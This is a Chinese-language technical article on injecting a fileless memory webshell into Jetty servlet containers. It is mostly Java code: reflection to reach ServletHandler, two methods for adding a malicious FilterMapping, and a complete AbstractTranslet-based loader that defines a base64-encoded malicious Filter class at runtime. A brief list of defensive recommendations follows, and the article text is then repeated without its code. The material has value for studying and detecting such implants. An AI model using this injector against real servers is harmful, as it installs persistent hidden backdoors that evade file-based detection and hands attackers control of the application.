Jetty 内存马注入分析
字数 1610 2025-08-25 22:58:35

Jetty 内存马注入技术分析

环境搭建与基础概念

Jetty 是一个开源的Servlet容器,为基于Java的Web应用(如JSP和Servlet)提供运行环境。它使用Java编写,以JAR包形式发布API,可以快速为独立运行的Java应用提供网络和Web连接。

示例Filter代码:

package com.example.JettyDemo;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "HelloFilter", urlPatterns = "/hello")
public class HelloFilter implements Filter {
    public void init(FilterConfig config) throws ServletException {}
    public void destroy() {}
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws ServletException, IOException {
        response.getWriter().println("HelloFilter work");
        chain.doFilter(request, response);
    }
}

Filter调用机制分析

  1. 调用栈分析

    • 在ServletHandler中首次出现与filter相关的信息
    • 调用栈经ServletHandler后会构造filter相关信息
    • 关键点:直接寻找第一个出现filter相关信息的调用栈可快速定位获取上下文
  2. FilterChain生成

    • ServletHandler::doHandle中定义了FilterChain类型
    • 调用getFilterChain()函数构造FilterChain
    • 该函数实例化filters,遍历_filterPathMappings获取FilterHolder
    • 通过new ServletHandler.CacheChain(filters,servletHolder)将filters信息存入chain
  3. _filterPathMappings生成

    • 实例化的ServletHandler对象中包含_filterPathMappings
    • 获取ServletHandler对象即可获取_filterPathMappings

内存马注入关键思路

注入恶意filter的关键在于向_filterPathMappings中添加必要元素:

  1. 获取ServletHandler
  2. 获取_filterPathMappings
  3. _filterPathMappings中添加FilterMapping实例对象

FilterMapping需要包含三个关键变量:

  • _filterName
  • _holder (FilterHolder类型)
  • _pathSpecs

具体实现步骤

1. 获取ServletHandler

使用Java对象搜索工具定位上下文:

// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder()
    .setField_type("org.eclipse.jetty.servlet.ServletHandler.").build());

// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder()
    .setField_type("java.io.File").build());

// 新建搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = 
    new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("/path/to/logs/jetty");
searcher.searchObject();

反射获取ServletHandler:

Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("_context");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
obj = field.get(obj);

2. 获取_filterPathMappings

private static synchronized void InjectFilter() {
    // 假定已经获取到ServletHandler
    ArrayList filterPathMappings = (ArrayList) GetField(servletHandler, "_filterPathMappings");
    // ...
}

private static synchronized Object GetField(Object o, String k) throws Exception {
    Field f;
    try {
        f = o.getClass().getDeclaredField(k);
    } catch (NoSuchFieldException e) {
        try {
            f = o.getClass().getSuperclass().getDeclaredField(k);
        } catch (Exception e1) {
            f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
        }
    }
    f.setAccessible(true);
    return f.get(o);
}

3. 实例化FilterMapping的两种方法

方法一:反射构造FilterMapping

// 实例化FilterHolder
Constructor constructor2 = servletHandler.getClass().getClassLoader()
    .loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();

// 设置Filter
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter", Filter.class);
setFilter.invoke(filterHolder, HFilter);

// 设置名称
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(filterHolder, filterName);

// 实例化FilterMapping
Constructor constructor = servletHandler.getClass().getClassLoader()
    .loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();

// 设置FilterMapping属性
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName", String.class);
setFilterName.invoke(filterMapping, filterName);

Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder", filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping, filterHolder);

String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(filterMapping, pathSpecs);

// 添加到filterPathMappings
filterPathMappings.add(filterMapping);

方法二:使用ServletHandler的addFilterWithMapping方法

Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", 
    Class.class, String.class, Integer.TYPE);
addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);

// 调整_filterPathMappings中元素位置
Object filterMaps = GetField(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
int j;

for(j = 0; j < Array.getLength(filterMaps); ++j) {
    Object filter = Array.get(filterMaps, j);
    String filterName = (String)GetField(filter, "_filterName");
    if(filterName.contains(HFilter.getName())) {
        tmpFilterMaps[0] = filter;
    } else {
        tmpFilterMaps[n] = filter;
        ++n;
    }
}

for(j = 0; j < tmpFilterMaps.length; ++j) {
    Array.set(filterMaps, j, tmpFilterMaps[j]);
}

4. 完整内存马实现

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.*;
import java.util.ArrayList;

public class JettyFilterLoader extends AbstractTranslet {
    private static Object servletHandler = null;
    private static String filterName = "HFilter";
    private static String filterClassName = "com.HFilter";
    private static String url = "/*";
    
    private static synchronized void LoadFilter() throws Exception {
        try {
            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
        } catch (Exception e) {
            Method a = ClassLoader.class.getDeclaredMethod("defineClass", 
                byte[].class, Integer.TYPE, Integer.TYPE);
            a.setAccessible(true);
            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class|base64");
            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
        }
    }
    
    public static synchronized void GetWebContent() throws Exception {
        try {
            Thread currentThread = Thread.currentThread();
            Object contextClassLoader = GetField(currentThread, "contextClassLoader");
            Object _context = GetField(contextClassLoader, "_context");
            servletHandler = GetField(_context, "_servletHandler");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static synchronized void InjectFilter() throws Exception {
        if(servletHandler != null) {
            // 方法一实现
            Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader()
                .loadClass(filterClassName).newInstance();
            ArrayList filterPathMappings = (ArrayList) GetField(servletHandler, "_filterPathMappings");
            
            // ... 方法一或方法二的实现代码 ...
        }
    }
    
    private static synchronized Object GetField(Object o, String k) throws Exception {
        // ... 同上 ...
    }
    
    private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) 
        throws NoSuchMethodException {
        // ... 同上 ...
    }
    
    static {
        new JettyFilterLoader();
    }
    
    public JettyFilterLoader() {
        try {
            LoadFilter();
            GetWebContent();
            InjectFilter();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) 
        throws TransletException {}
}

技术要点解析

  1. _pathSpecs的作用

    • ServletHandler:getFilterChain()中的appliesTo()函数
    • 将实际访问路由与filterMapping._pathSpecs中定义的路由进行匹配
    • 匹配正确则返回true
  2. _filterName的非必要性

    • 通过调试可知,获取到_holder后,其中已包含_filtername
    • _holder中的_filtername会自动赋值到_filterName
  3. FilterMapping实例化问题

    • 直接实例化FilterMapping可能会报错,尽管依赖包中存在该类
    • 解决方案:
      • 使用反射构造FilterMapping
      • 或使用ServletHandler的addFilterWithMapping方法

防御建议

  1. 监控JVM中动态加载的类
  2. 检查Servlet容器中的Filter配置
  3. 限制反射操作权限
  4. 定期检查内存中的异常Filter
  5. 使用安全加固的Jetty版本

总结

Jetty内存马注入技术通过反射机制获取ServletHandler,修改其内部数据结构_filterPathMappings来注入恶意Filter。关键在于理解Jetty内部Filter的加载和执行机制,以及如何通过反射绕过访问限制。防御方应重点关注内存中动态加载的类和异常的Filter配置。

Jetty 内存马注入技术分析 环境搭建与基础概念 Jetty 是一个开源的Servlet容器,为基于Java的Web应用(如JSP和Servlet)提供运行环境。它使用Java编写,以JAR包形式发布API,可以快速为独立运行的Java应用提供网络和Web连接。 示例Filter代码: Filter调用机制分析 调用栈分析 : 在ServletHandler中首次出现与filter相关的信息 调用栈经ServletHandler后会构造filter相关信息 关键点:直接寻找第一个出现filter相关信息的调用栈可快速定位获取上下文 FilterChain生成 : ServletHandler::doHandle 中定义了 FilterChain 类型 调用 getFilterChain() 函数构造FilterChain 该函数实例化filters,遍历 _filterPathMappings 获取 FilterHolder 通过 new ServletHandler.CacheChain(filters,servletHolder) 将filters信息存入chain _filterPathMappings 生成 : 实例化的ServletHandler对象中包含 _filterPathMappings 获取ServletHandler对象即可获取 _filterPathMappings 内存马注入关键思路 注入恶意filter的关键在于向 _filterPathMappings 中添加必要元素: 获取ServletHandler 获取 _filterPathMappings 向 _filterPathMappings 中添加 FilterMapping 实例对象 FilterMapping 需要包含三个关键变量: _filterName _holder (FilterHolder类型) _pathSpecs 具体实现步骤 1. 获取ServletHandler 使用Java对象搜索工具定位上下文: 反射获取ServletHandler: 2. 获取_ filterPathMappings 3. 实例化FilterMapping的两种方法 方法一:反射构造FilterMapping 方法二:使用ServletHandler的addFilterWithMapping方法 4. 完整内存马实现 技术要点解析 _pathSpecs 的作用 : 在 ServletHandler:getFilterChain() 中的 appliesTo() 函数 将实际访问路由与 filterMapping._pathSpecs 中定义的路由进行匹配 匹配正确则返回true _filterName 的非必要性 : 通过调试可知,获取到 _holder 后,其中已包含 _filtername _holder 中的 _filtername 会自动赋值到 _filterName FilterMapping实例化问题 : 直接实例化FilterMapping可能会报错,尽管依赖包中存在该类 解决方案: 使用反射构造FilterMapping 或使用ServletHandler的 addFilterWithMapping 方法 防御建议 监控JVM中动态加载的类 检查Servlet容器中的Filter配置 限制反射操作权限 定期检查内存中的异常Filter 使用安全加固的Jetty版本 总结 Jetty内存马注入技术通过反射机制获取ServletHandler,修改其内部数据结构 _filterPathMappings 来注入恶意Filter。关键在于理解Jetty内部Filter的加载和执行机制,以及如何通过反射绕过访问限制。防御方应重点关注内存中动态加载的类和异常的Filter配置。